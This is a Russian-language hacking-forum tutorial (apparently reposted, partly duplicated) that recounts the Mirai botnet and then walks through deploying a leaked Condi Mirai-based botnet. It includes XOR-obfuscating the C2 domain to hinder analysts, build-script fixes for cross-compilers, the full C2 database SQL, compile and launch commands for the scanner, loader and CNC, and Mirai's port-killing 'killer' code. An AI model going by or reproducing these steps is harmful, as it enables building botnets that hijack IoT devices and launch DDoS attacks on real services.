Если вы никогда не сталкивались с IoT ботнетами, то в первую очередь вам следует обратить внимание на истоки.
MIRAI
В 2016 году на весь мир прогремела серия DDoS атак с невидынами 600гбит-1тб сек
французский провайдер OVH стал одним из первых кто почуствовал что такое IoT на самом деле. Никто не понимал что происходит, огромный ботнет уничтожал работу сервисов, Mirai имел огромное количество устройств в своей сети.
Специалистам из OVH удалось разобрать и подсчитать примерное количество устройств учавствовающих в атаке. На удивление специалистов это были не классические персональные компьютеры, а устройства умного дома/интернет вещей. Спустя несколько дней, аноним под ником Anna-senpai на одном из зарубежных форумов опубликовал версию IoT ботнета, как оказалось именно этот ботнет был ответсвтенен за серию атак на Krebsonsecurity,OVH,hypixel
Причина по которой Mirai смог набрать большое количество ботов, это ряд функций прописанный в поведении бота.
Mirai конкурировал за огромный пул уязвимых IoT устройств на который хотели посигнуть сотни кибепреступников по всему миру.
В первых версий вредоноса Mirai подбирал log:pass к устройствам по всему миру, генерируя IP-адреса и пытаясь подключиться по Telnet/SSH. По сути Mirai создавался как вирус под linux и занимался простым брутфорсом, но с последующими версиями Mirai уже помимо брутфорса использовал большое количество эксплойтов под всевозможные роутеры/камеры..
Принцип был такой:
1) Генерируется n^число Ip-адресов
2) Запускается сканер и подбирается пароль к telnet/ssh
3) На устройстве выполняется команда для получения архитиктуры процессора и отсылается на сервер хранения бинарников
4) Сканер который уже на устройстве узнав архитиктуры процессора выгружает по http/tftp нужный бинарник и запускает его
5) Зараженный зомби девайс начинает выполнять пункт 1/2
Вытеснение Конкурентов
Mirai сканировал память и пытался найти конкурентов, чтобы убить его процесс. Особенно в то время пользовался популярностью Qbot
Так же у бота инфицированным Mirai закрывалсь порты 21/22/80
Это нужно было для того, чтобы други сканеры не смогли зайти по такому же пути.
Mirai инфицированный бот порожает устройство в одной с ним сети
Если резюмировать, то Mirai в настоящее время не имеет силы для набора IoT зомби, но все же нынещниее время IoT ботнеты базариуются именно на коде Mirai и помечаються везде как Mirai-based-malware, как раз в практической части мы развернем один из Mirai-based ботнет.
Практика:
За основу возьмем распростроняющийся по сети Condi botnet, а именно его слитую версию. Вы так же можете купить ее у разработчика, на его сайте. Но в любом случаи я прилажу архив в 5 версией, именно ее мы будем разворачивать.
У нас есть интересный файл enc.c
Он нам нужен для того чтобы зашифровать наш домен, чтобы усложнить поиск домена вирусным аналитикам при реверсе.
давайте зашифруем наш домен www.megahucker[.]co
мы получили за Xor'енную версию нашего домена и колв байтов
да, сначала нужно зарегистрировать домен и привязать его к VPS
полученный результат следует внести в table.c
Меняем IP-адрес сервера С2 там, где это необходимо:
При компиляции если возникнит такая ошибка undefined: strings.Cut, то вот решение
удалить это из bash файла
создайте этот путь руками и перенесите сюда старую версию (любую до сентября 2023года - github.com/go-sql-driver/mysql)
root/Projects/Proj1/github.com/src/go-mysql-driver/mysql
Вторая проблема - криво написанный bash файл, дело в том, что автор забыл указать путь к компиляторам, поэтому нужно будет добавить это добро в файл dlr/build.sh
криво написанный bash файл
Нужно добавить это вверху:
Мой путь к компиляторам /etc/xcompile
вам нужно будет скачать компиляторы для всех процессорных архитектур, чтобы распаковать и указать свой путь.
Если при компиляции выдает ошибку cnc/admin.go:196:20:undefined:cataSplit
Решение проблемы:
cataSplit := strings.SplitN(cmd, " ", 2)
Так же разворачиваем БД, открыв файл cnc/main.go
Тут вроде бы все понятно
DatabaseAddr = local - потому что у нас на vps стоит mariadb-server
DatabaseUser = "ваше имя пользователя"
DatabasePass = "ваш пароль"
DatabaseTable = "Название нашей БД"
Сохраняем и устанавливаем mariadb-server
Тут меняем пароль для root и новый пишем такой же как и DatabasePass в cnc/main.go
CREATE DATABASE ваше название - как в файле cnc/main.go
где INSERT INTO меняем дефолтные данные на наши log:pass для C2 сервера по ним мы будем подключаться по telnet
Компилируем все
Теперь мы можем подключиться по telnet к нашему серверу где 0.0.0.0 - ваш айпи, а 38241 порт который вы указали cnc/main.go
telnet 0.0.0.0 38241
Источник: xss.pro
MIRAI
В 2016 году на весь мир прогремела серия DDoS атак с невидынами 600гбит-1тб сек
французский провайдер OVH стал одним из первых кто почуствовал что такое IoT на самом деле. Никто не понимал что происходит, огромный ботнет уничтожал работу сервисов, Mirai имел огромное количество устройств в своей сети.
Специалистам из OVH удалось разобрать и подсчитать примерное количество устройств учавствовающих в атаке. На удивление специалистов это были не классические персональные компьютеры, а устройства умного дома/интернет вещей. Спустя несколько дней, аноним под ником Anna-senpai на одном из зарубежных форумов опубликовал версию IoT ботнета, как оказалось именно этот ботнет был ответсвтенен за серию атак на Krebsonsecurity,OVH,hypixel
Причина по которой Mirai смог набрать большое количество ботов, это ряд функций прописанный в поведении бота.
Mirai конкурировал за огромный пул уязвимых IoT устройств на который хотели посигнуть сотни кибепреступников по всему миру.
В первых версий вредоноса Mirai подбирал log:pass к устройствам по всему миру, генерируя IP-адреса и пытаясь подключиться по Telnet/SSH. По сути Mirai создавался как вирус под linux и занимался простым брутфорсом, но с последующими версиями Mirai уже помимо брутфорса использовал большое количество эксплойтов под всевозможные роутеры/камеры..
Принцип был такой:
1) Генерируется n^число Ip-адресов
2) Запускается сканер и подбирается пароль к telnet/ssh
3) На устройстве выполняется команда для получения архитиктуры процессора и отсылается на сервер хранения бинарников
4) Сканер который уже на устройстве узнав архитиктуры процессора выгружает по http/tftp нужный бинарник и запускает его
5) Зараженный зомби девайс начинает выполнять пункт 1/2
Вытеснение Конкурентов
Mirai сканировал память и пытался найти конкурентов, чтобы убить его процесс. Особенно в то время пользовался популярностью Qbot
Так же у бота инфицированным Mirai закрывалсь порты 21/22/80
Это нужно было для того, чтобы други сканеры не смогли зайти по такому же пути.
C:
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
printf("[killer] Trying to kill port 23\n");
#endif
if (killer_kill_by_port(htons(23)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)\n");
#endif
} else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23\n");
#endif
}
tmp_bind_addr.sin_port = htons(23);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif
// Kill SSH service and prevent it from restarting
#ifdef KILLER_REBIND_SSH
if (killer_kill_by_port(htons(22)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/22 (SSH)\n");
#endif
}
tmp_bind_addr.sin_port = htons(22);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/22 (SSH)\n");
#endif
#endif
Если резюмировать, то Mirai в настоящее время не имеет силы для набора IoT зомби, но все же нынещниее время IoT ботнеты базариуются именно на коде Mirai и помечаються везде как Mirai-based-malware, как раз в практической части мы развернем один из Mirai-based ботнет.
Практика:
За основу возьмем распростроняющийся по сети Condi botnet, а именно его слитую версию. Вы так же можете купить ее у разработчика, на его сайте. Но в любом случаи я прилажу архив в 5 версией, именно ее мы будем разворачивать.
У нас есть интересный файл enc.c
Он нам нужен для того чтобы зашифровать наш домен, чтобы усложнить поиск домена вирусным аналитикам при реверсе.
давайте зашифруем наш домен www.megahucker[.]co
мы получили за Xor'енную версию нашего домена и колв байтов
да, сначала нужно зарегистрировать домен и привязать его к VPS
полученный результат следует внести в table.c
Код:
(TABLE_CNC_DOMAIN, "xor_result", bytes)
(TABLE_SCAN_CB_DOMAIN, "xor_result", bytes)
- loader/scanlisten.go
- loader/src/headers/config.h
- dlr/main.c
- cnc/main.go
- loader/scanlisten.go
При компиляции если возникнит такая ошибка undefined: strings.Cut, то вот решение
удалить это из bash файла
создайте этот путь руками и перенесите сюда старую версию (любую до сентября 2023года - github.com/go-sql-driver/mysql)
root/Projects/Proj1/github.com/src/go-mysql-driver/mysql
Вторая проблема - криво написанный bash файл, дело в том, что автор забыл указать путь к компиляторам, поэтому нужно будет добавить это добро в файл dlr/build.sh
криво написанный bash файл
Нужно добавить это вверху:
Код:
#!/bin/bash
export PATH=$PATH:/etc/xcompile/arc/bin
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i486/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/i686/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/x86_64/bin
вам нужно будет скачать компиляторы для всех процессорных архитектур, чтобы распаковать и указать свой путь.
Если при компиляции выдает ошибку cnc/admin.go:196:20:undefined:cataSplit
Решение проблемы:
cataSplit := strings.SplitN(cmd, " ", 2)
Так же разворачиваем БД, открыв файл cnc/main.go
Тут вроде бы все понятно
DatabaseAddr = local - потому что у нас на vps стоит mariadb-server
DatabaseUser = "ваше имя пользователя"
DatabasePass = "ваш пароль"
DatabaseTable = "Название нашей БД"
Сохраняем и устанавливаем mariadb-server
Код:
mysql_secure_installation
Тут меняем пароль для root и новый пишем такой же как и DatabasePass в cnc/main.go
CREATE DATABASE ваше название - как в файле cnc/main.go
Код:
CREATE DATABASE botnet;
use botnet;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '-1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '-1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);
CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);
INSERT INTO users VALUES (NULL, 'USERNAME', 'PASSWORD', 0, 0, 0, 0, -1, 1, 30, '');
exit;
где INSERT INTO меняем дефолтные данные на наши log:pass для C2 сервера по ним мы будем подключаться по telnet
Компилируем все
Код:
cd
chmod 777 -R *
cd dlr/
bash build.sh
cd
bash build.sh
cd loader/
screen ./scanlisten
CTRL A+D
cd
screen ./cnc
telnet 0.0.0.0 38241
Авторство: defaultuser0
Источник: xss.pro
Mirai source code forum post - https://hackforums[.]net/showthread.php?tid=5420472
Understanding the Mirai Botnet, USENIX - https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf
Вложения
Последнее редактирование модератором: